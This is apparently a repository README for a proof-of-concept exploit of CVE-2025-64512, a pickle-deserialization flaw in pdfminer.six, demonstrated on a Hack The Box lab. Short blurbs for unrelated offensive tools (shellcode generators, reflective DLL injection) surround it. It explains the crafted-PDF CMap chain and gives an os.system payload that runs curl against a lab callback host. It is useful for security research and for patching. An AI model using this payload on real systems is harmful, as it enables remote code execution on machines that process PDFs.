
Proof-of-concept exploit for CVE-2025-64512, an unsafe pickle deserialization RCE in pdfminer.six, with a crafted PDF payload chain and lab demonstration.

Framework d'exploitation open-source avec système modulaire de payload, encodeur et auxiliaire pour les tests de pénétration, la validation de vulnérabilités et la recherche en sécurité à travers les réseaux et applications.

Génère du shellcode indépendant de la position pour x86, x64 ou AMD64+x86 qui charge des assemblies .NET, des fichiers PE et d'autres charges utiles Windows depuis la mémoire et les exécute avec des paramètres.

An independent Proof of Concept (PoC) implementation for CVE-2025-64512, a code execution vulnerability affecting pdfminer.six through unsafe pickle deserialization.
This repository demonstrates the vulnerability mechanism and includes an example based on the Bedside machine from Hack The Box.
Disclaimer: This is an independent research project. I am not the original vulnerability discoverer. All credit for the original discovery belongs to the researchers credited in the official security advisory.
| Field | Details |
|---|---|
| CVE | CVE-2025-64512 |
| Project | pdfminer.six |
| Vulnerability | Arbitrary Code Execution |
| CWE | CWE-502 – Deserialization of Untrusted Data |
| Severity | High |
| CVSS | 8.2 |
| Official Advisory | GHSA-wf5f-4jwr-ppcp |
The vulnerability is related to unsafe pickle deserialization in CMapDB._load_data().
The function loads compressed pickle data using pickle.loads(). A crafted PDF can specify an alternative CMap path through its /Encoding entry.
When the PDF is processed, pdfminer attempts to load the corresponding .pickle.gz file. If an attacker-controlled pickle file is loaded, Python code can execute in the context of the process.
The general vulnerability chain is:
.pickle.gz file is loaded.The PoC contains two values that need to be adapted to the authorized test environment:
path = "/path/of/pwn/gz"
code = "os.system('PAYLOAD') or exit(0) or {}"
path: The CMap path referenced by the crafted PDF. pdfminer appends .pickle.gz to the name.code: The Python expression used in the demonstration payload.For my Bedside HTB lab testing, the example configuration uses:
path = "/var/www/research.bedside.htb/uploads/pwn"
code = "os.system('curl 10.10.14.201:9999/frexy') or exit(0) or {}"
Replace the example callback address with the address of your own authorized lab machine.
Important: On Linux, the referenced .pickle.gz file must exist at the corresponding path on the target filesystem. Creating the file locally does not automatically place it on the target. The PDF path and the pickle file location must match.
pdfminer.sixUpgrade pdfminer.six to a patched release.
Refer to the official advisory for affected versions and remediation details:
https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp
Independent security research and PoC implementation.
This repository is intended for educational purposes, authorized penetration testing, and controlled lab environments only.
Implémentation en shellcode de l'injection de DLL réflective. Convertit les DLL en shellcode indépendant de la position.